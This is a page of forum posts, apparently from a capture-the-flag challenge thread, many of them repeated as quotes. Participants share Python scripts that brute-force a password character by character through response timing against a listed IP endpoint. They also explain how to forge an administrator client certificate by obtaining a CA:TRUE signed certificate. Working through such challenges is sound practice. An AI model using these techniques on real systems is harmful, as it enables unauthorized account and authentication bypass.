111–120 of 121 posts
Earlier quoted context omitted.
Can you post how you did it?
I have the csr and the private key of the administrator but I don't know how to sign it on behalf of the root certificate, any idea?
Earlier quoted context omitted.
I have the csr and the private key of the administrator but I don't know how to sign it on behalf of the root certificate, any idea?
send them csr that it's CA=TRUE. then you recieve a cert you can sign others.. so sign adminstrator cert by yourself
Earlier quoted context omitted.
I have the csr and the private key of the administrator but I don't know how to sign it on behalf of the root certificate, any idea?
send them csr that it's CA=TRUE. then you recieve a cert you can sign others.. so sign adminstrator cert by yourself
Earlier quoted context omitted.
Not sure I understand the bruthforce code. I'm trying to get the first char. I've written something along import requests import string #a-zA-Z!@#$%^&*()_-= printables_chars = string.printable agent = 'ed9ae2c0-9b15-4556-a393-23d500675d4b' for i, char in enumerate(printables_chars): print('run {}. char {}'.format(i,char)) result = requests.post('http://35.246.158.51:8070/auth/v1_1', data={"Seed": "d14236b60e0f4aef944…
On Python I used this: CHARACTERS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|\/?,. `~" URL = " http://35.246.158.51:8070/auth/v1_1" HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' } PAYLOAD ={} for i in range(len(CHARACTERS)): PAYLOAD['Seed'] = "6711d2ec0d724396ad1570fcfb431443" PAYLOAD['Password'] = "" + CHA…
Earlier quoted context omitted.
Not sure I understand the bruthforce code. I'm trying to get the first char. I've written something along import requests import string #a-zA-Z!@#$%^&*()_-= printables_chars = string.printable agent = 'ed9ae2c0-9b15-4556-a393-23d500675d4b' for i, char in enumerate(printables_chars): print('run {}. char {}'.format(i,char)) result = requests.post('http://35.246.158.51:8070/auth/v1_1', data={"Seed": "d14236b60e0f4aef944…
On Python I used this: CHARACTERS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|\/?,. `~" URL = " http://35.246.158.51:8070/auth/v1_1" HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' } PAYLOAD ={} for i in range(len(CHARACTERS)): PAYLOAD['Seed'] = "6711d2ec0d724396ad1570fcfb431443" PAYLOAD['Password'] = "" + CHA…
Earlier quoted context omitted.
Not sure I understand the bruthforce code. I'm trying to get the first char. I've written something along import requests import string #a-zA-Z!@#$%^&*()_-= printables_chars = string.printable agent = 'ed9ae2c0-9b15-4556-a393-23d500675d4b' for i, char in enumerate(printables_chars): print('run {}. char {}'.format(i,char)) result = requests.post('http://35.246.158.51:8070/auth/v1_1', data={"Seed": "d14236b60e0f4aef944…
On Python I used this: CHARACTERS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|\/?,. `~" URL = " http://35.246.158.51:8070/auth/v1_1" HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' } PAYLOAD ={} for i in range(len(CHARACTERS)): PAYLOAD['Seed'] = "6711d2ec0d724396ad1570fcfb431443" PAYLOAD['Password'] = "" + CHA…
import requests
CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"
URL = "http://35.246.158.51:8070/auth/v1_1"
HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' }
PAYLOAD ={}
DISCOVERED_PASSWORD = "f"
def check(chars): result_chars = [] for i in range(len(chars)): PAYLOAD['Seed'] = "d14236b60e0f4aef94499cb648a5f522"
PAYLOAD['Password'] = DISCOVERED_PASSWORD + chars[i]
r = requests.post(url=URL, json=PAYLOAD, headers=HEADERS)
result = r.json()
delay = result['Time']
if(delay > len(PAYLOAD['Password'])*30000000):
result_chars.append(chars[i])
return result_chars
res = check(CHARACTERS)
for i in range(10):
res = check(res)
print(res)
DISCOVERED_PASSWORD += res[0]
print("FOUND ONE MORE! {}".format(DISCOVERED_PASSWORD))
Earlier quoted context omitted.
I have an idea, but don't have the time to check :-/ Using online CSR generator I succeeded to sign a CA certificate.. So maybe we can use the signed certificate to sign another certificate for admin user on behalf of the root certificate?
update: it worked :-)
Can anyone help me with this?
I know that if you go to dev.missilesys.com, and download the cert you see that it is signed by International Weapons Export Inc.
so i created a root ca with the same name
than i created a csr with common name administrator
than i created a cert, i used the csr and the root ca i generated
after that i created a pfx, it's the same as p12 afaik, and tried to login i'm getting error 400
i wanted to use the original ca from the web site, i decoded the file p12, but i don't have the private key
anyone can help me? thanks
Earlier quoted context omitted.
Tell me where I get wrong. 1. I created CSR with CA:TRUE and send it to the server. 2. The server signed it and returned me a certificate. 3. I use the given certificated with CA:TRUE from the server and sign a new certificate with the username administrator. 4. I install the certificate on my browser and should get in. All of the above sounds great. however, it is still(!!!) not working for me. Where am I going wron…
Make sure you install the administrator certificate with its private key... Bundle the private key with the cert.
Earlier quoted context omitted.
woosh , loading jQuery to access an element is not needed. document.getElementById would suffice.
jQuery is still a valid way to manipulate the DOM. There’s nothing wrong with doing that, especially if you already need to load jQuery for something else. I don’t think this is what the comment was referring to.